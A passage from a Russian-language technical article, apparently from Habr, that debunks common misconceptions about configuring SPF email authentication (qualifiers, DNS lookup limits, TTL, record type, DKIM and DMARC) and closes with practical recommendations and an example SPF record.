3. Заблуждение: SPF отрицательно (положительно) влияет на доставляемость писем

На самом деле: Всё зависит от типа письма и пути, по которому оно доставляется.

Объяснение: SPF сам по себе не влияет на доставляемость писем обычным потоком, и отрицательно влияет при неправильном внедрении или на непрямых потоках писем (indirect flow), когда пользователь получает письма не от того сервера, с которого письмо было отправлено, например на перенаправленные письма. Но системы спам-фильтрации и репутационные классификаторы учитывают наличие SPF, что в целом, на основном потоке писем, дает положительный результат. Если, конечно, вы не рассылаете спам.

4. Заблуждение: SPF авторизует отправителя письма

На самом деле: SPF авторизует почтовый сервер, отправляющий письмо от имени домена.

Объяснение: Во-первых, SPF работает только на уровне доменов, а не для отдельных адресов электронной почты. Во-вторых, даже если вы являетесь легальным пользователем почты определенного домена, SPF не позволяет вам отправить письмо из любого места. Чтобы письмо прошло SPF-валидацию, вы должны отправлять только через авторизованный сервер. В-третьих, если вы авторизовали сервер по SPF (например, разрешили отправку писем от вашего домена через какого-либо ESP или хостинг-провайдера) и он не реализует дополнительных ограничений, то все пользователи данного сервера могут рассылать письма от имени вашего домена. Всё это следует учитывать при внедрении SPF и аутентификации писем в целом.

5. Заблуждение: письма, не прошедшие авторизацию SPF, отсеиваются

На самом деле: SPF-авторизация или ее отсутствие в общем случае не влияет кардинально на доставку писем.

Объяснение: стандарт SPF является только стандартом авторизации и в явном виде указывает, что действия, применяемые к письмам, не прошедшим авторизацию, находятся за пределами стандарта и определяются локальной политикой получателя. Отказ в получении таких писем приводит к проблемам с письмами, идущими через непрямые маршруты доставки, например, перенаправления или списки рассылки, и этот факт должен учитываться в локальной политике. На практике, строгий отказ из-за сбоя SPF-авторизации не рекомендуется к использованию и возможен только при публикации доменом политики -all (hardfail) в отсутствии других средств фильтрации. В большинстве случаев, SPF-авторизация используется как один из факторов в весовых системах. Причем вес этого фактора очень небольшой, потому что нарушение SPF-авторизации обычно не является сколь-либо достоверным признаком спама — многие спам-письма проходят SPF-авторизацию, а вполне легальные — нет, и вряд ли эта ситуация когда-нибудь кардинально изменится. При таком использовании, разницы между "-all" и "~all" нет.

Факт наличия SPF-авторизации важен не столько для доставки письма и принятия решения о том, является ли оно спамом, сколько для подтверждения адреса отправителя и связи с доменом, что позволяет для письма использовать не репутацию IP, а репутацию домена.

На принятие решения о действии над письмом, не прошедшим авторизацию, гораздо больше влияет политика DMARC. Политика DMARC позволяет отбросить (или поместить в карантин) все письма, не прошедшие авторизацию или их процент.

6. Заблуждение: в SPF надо использовать -all (hardfail), это безопасней чем ?all или ~all

На самом деле: на практике -all никак не влияет ни на чью безопасность, зато негативно влияет на доставляемость писем.

Объяснение: -all приводит к блокировке писем, отправленных через непрямые маршруты теми немногими получателями, которые используют результат SPF напрямую и блокируют письма. При этом на большую часть спама и поддельных писем эта политика существенного влияния не окажет. На текущий момент наиболее разумной политикой считается ~all (softfail), она используется практически всеми крупными доменам, даже теми, у которых очень высокие требованиями к безопасности (paypal.com, например). -all можно использовать для доменов, с которых не производится отправки легальных писем. Для DMARC -, ~ и ? являются эквивалентными.

7. Заблуждение: достаточно прописать SPF только для доменов, с которых отправляется почта

На самом деле: необходимо также прописать SPF для доменов, используемых в HELO почтовых серверов, и желательно прописать блокирующую политику для неиспользуемых для отправки почты A-записей и вайлдкарда.

Объяснение: в некоторых случаях, в частности, при доставке NDR (сообщение о невозможности доставки), DSN (сообщение подтверждения доставки) и некоторых автоответах, адрес отправителя в SMTP-конверте (envelope-from) является пустым. В таком случае SPF проверяет имя хоста из команды HELO/EHLO. Необходимо проверить, какое имя используется в данной команде (например, заглянув в конфигурацию сервера или отправив письмо на публичный сервер и посмотрев заголовки) и прописать для него SPF. Спамерам совершенно не обязательно слать спам с тех же доменов, с которых вы отправляете письма, они могут отправлять от имени любого хоста, имеющего A- или MX-запись. Поэтому, если вы публикуете SPF из альтруистических соображений, то надо добавлять SPF для всех таких записей, и желательно еще wildcard (*) для несуществующих записей.

8. Заблуждение: лучше добавлять в DNS запись специального типа SPF, а не TXT

На самом деле: надо добавлять запись типа TXT.

Объяснение: в текущей версии стандарта SPF (RFC 7208) записи типа SPF являются deprecated и не должны больше использоваться.

9. Заблуждение: чем больше всего (a, mx, ptr, include) я включу в SPF-запись, тем лучше, потому что меньше вероятность ошибиться

На самом деле: по возможности, следует максимально сократить SPF-запись и использовать в ней только адреса сетей через IP4/IP6.

Объяснение: на разрешение SPF-политики отведен лимит в 10 DNS-запросов. Его превышение приведет к постоянной ошибке политики (permerror). Кроме того, DNS является ненадежной службой, и для каждого запроса есть вероятность сбоя (temperror), которая возрастает с количеством запросов. Каждая дополнительная запись a или include требует дополнительного DNS-запроса, для include также необходимо запросить всё, что указано в include-записи. mx требует запроса MX-записей и дополнительного запроса A-записи для каждого MX-сервера. ptr требует дополнительного запроса, к тому же в принципе является небезопасной. Только адреса сетей, перечисленные через IP4/IP6, не требуют дополнительных DNS-запросов.

10. Заблуждение: TTL для SPF-записи следует сделать поменьше (побольше)

На самом деле: как и для большинства DNS-записей, лучше иметь TTL в диапазоне от 1 часа до 1 суток, заблаговременно снижая его при внедрении или планируемых изменениях и повышая при стабильно работающей политике.

Объяснение: более высокий TTL снижает вероятность ошибок DNS и, как следствие, temperror SPF, но повышает время реакции при необходимости внесения изменений в SPF-запись.

11. Заблуждение: если я не знаю, с каких IP могут уходить мои письма, то лучше опубликовать политику с +all

На самом деле: политика с явным +all или неявным правилом, разрешающим рассылку от имени домена с любых IP-адресов, негативно скажется на доставке почты.

Объяснение: такая политика не несет смысловой нагрузки и часто используется спамерами, чтобы обеспечить SPF-аутентификацию на спам-письмах, рассылаемых через ботнеты. Поэтому домен, публикующий подобную политику, имеет очень большие шансы попасть под блокировку.

12. Заблуждение: SPF бесполезен

На самом деле: SPF необходим.

Объяснение: SPF — это один из механизмов авторизации отправителя в электронной почте и способ идентификации домена в репутационных системах. В настоящее время крупные провайдеры почтовых сервисов постепенно начинают требовать наличие авторизации писем, и на письма, не имеющие авторизации, могут накладываться «штрафные санкции» по их доставке или отображению пользователю. Кроме того, на письма, не прошедшие SPF-авторизации, могут не возвращаться автоответы и отчеты о доставке или невозможности доставки. Причина в том, что эти категории ответов, как правило, идут именно на адрес SMTP-конверта и требуют, чтобы он был авторизован. Поэтому SPF необходим даже в том случае, если все письма авторизованы DKIM. Также SPF совершенно необходим в IPv6-сетях и облачных сервисах: в таких сетях практически невозможно использовать репутацию IP-адреса и письма с адресов, не авторизованных SPF, как правило, не принимаются. Одна из основных задач SPF, определенная в стандарте — как раз использование репутации доменного имени вместо репутации IP.

13. Заблуждение: SPF самодостаточен

На самом деле: необходимы также DKIM и DMARC.

Объяснение: DKIM необходим для прохождения писем через различные пересылки. DMARC необходим для защиты адреса отправителя от подделок. Кроме того, DMARC позволяет получать отчеты о нарушениях политики SPF.

14. Заблуждение: одна SPF-запись — хорошо, а две — лучше

На самом деле: запись должна быть ровно одна.

Объяснение: это требование стандарта. Если записей будет более одной, это приведет к постоянной ошибке (permerror). Если необходимо объединить несколько SPF-записей, опубликуйте запись с несколькими include.

15. Заблуждение: spf1 хорошо, spf2.0 — лучше

На самом деле: надо использовать v=spf1.

Объяснение: spf2.0 не существует. Публикация записи spf2.0 может приводить к непредсказуемым результатам. spf2.0 никогда не существовал и не был стандартом, но отсылка на него есть в экспериментальном стандарте RFC 4406 (Sender ID), который писался в предположении, что такой стандарт будет принят, ведь его принятие обсуждалось на тот момент. Sender ID, который должен был решить проблему подмены адресов, не стал общепринятым стандартом и от него следует отказаться в пользу DMARC. Даже в том случае, если вы решаете использовать Sender ID и опубликовать spf2.0 запись, она не заменит записи spf1.

Я практически закончил писать эту статью, когда меня перехватила служба поддержки пользователей и настоятельно (с угрозой применения грубой силы) рекомендовала напомнить о следующих нюансах SPF, с которыми им чаще всего приходится сталкиваться при разрешении проблем:

1. SPF-политика должна заканчиваться директивой all или redirect. После этих директив ничего идти не должно.
2. Директивы all или redirect могут встретиться в политике ровно один раз, они заменяют друг друга (то есть в одной политике не может быть all и redirect одновременно).
3. Директива include не заменяет директивы all или redirect. include может встретиться в политике несколько раз, при этом политику всё равно следует завершать директивами all или redirect. Политика, включаемая через include или redirect, также должна быть валидной политикой, оканчивающейся на директиву all или redirect. При этом для include безразлично, какое правило (-all, ~all, ?all) используется для all во включаемой политике, а для redirect разница есть.
4. Директива include используется с двоеточием (include:example.com), директива redirect — со знаком равенства (redirect=example.com).
5. SPF не распространяется на поддомены. SPF. Не. Распространяется. На. Поддомены. SPF НЕ РАСПРОСТРАНЯЕТСЯ НА ПОДДОМЕНЫ. (а DMARC, по умолчанию, распространяется). Надо публиковать SPF для каждой записи A или MX в DNS, по которой производится (или может производиться) доставка почты.

Резюме

• Обязательно создайте политику для всех MX- и, желательно, A-записей.
• Добавьте SPF-политики для имен, используемых в HELO/EHLO почтового сервера.
• Публикуйте SPF-политику как TXT-запись с v=spf1 в DNS.
• В политике преимущественно используйте адреса сетей заданные через IP4/IP6. Располагайте их в начале политики, чтобы избежать лишних DNS-запросов. Минимизируйте использование include, не используйте без необходимости a, без крайней и непреодолимой необходимости не используйте mx и никогда не используйте ptr.
• Указывайте ~all для доменов, с которых реально отправляются письма, -all — для неиспользуемых доменов и записей.
• Используйте маленькие TTL на период внедрения и тестирования, затем повысьте TTL до разумных значений. Перед необходимостью внесения изменений заблаговременно снижайте TTL.
• Обязательно тестируйте правильность SPF-политики, например, здесь.
• Не ограничивайтесь только SPF, постарайтесь внедрить DKIM и обязательно внедрите DMARC. DMARC поможет защитить ваши письма от подделок и позволит вам получать информацию по нарушениям SPF. Это позволит выявить подделки, непрямые потоки писем и ошибки конфигурации.
• После внедрения SPF, DKIM и/или DMARC проверьте их с помощью сервиса https://postmaste/security/.
• SPF и DMARC проверяются по текущему состоянию, наличие DKIM проверяется по статистическим данным за предыдущий день и будет показываться только при наличии переписки с ящиками на Mail.Ru в предшествующий день или ранее.

Пример политики SPF: @ IN TXT "v=spf1 ip4:1.2.3.0/24 include:_spf.myesp.example.com ~all"

Original source: habrahabr.ru (comments, light).